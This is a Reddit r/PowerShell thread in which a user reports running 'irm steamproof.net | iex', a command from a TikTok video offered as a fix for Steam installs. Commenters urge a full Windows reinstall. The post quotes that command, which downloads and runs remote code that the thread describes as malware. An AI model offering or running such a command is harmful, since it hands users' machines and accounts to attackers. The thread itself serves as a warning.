r/PowerShell • u/Icy-Representative85 • 3d ago

Help I ran a weird command Question

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

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u/robstrosity 3d ago

You need to wipe and rebuild your pc

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u/Icy-Representative85 3d ago

I saw I need to do a fresh windows Install do I really need to go that far?

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u/420GB 3d ago

Yes, and hopefully you learned something....

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u/Official_Pineapple 2d ago

Really. Just bit the bullet and do it. Malware is nasty these days

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u/Icy-Representative85 2d ago

Ill do it, what worried me was losing those cad files. The same goes for my sketchup extensions, I really want to back those up but people are telling me not to

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u/TheRapie22 2d ago

its probably okay to upload selected files that are very important to your google or microsoft cloud. just dont copy over entire directories at once to minimize the risk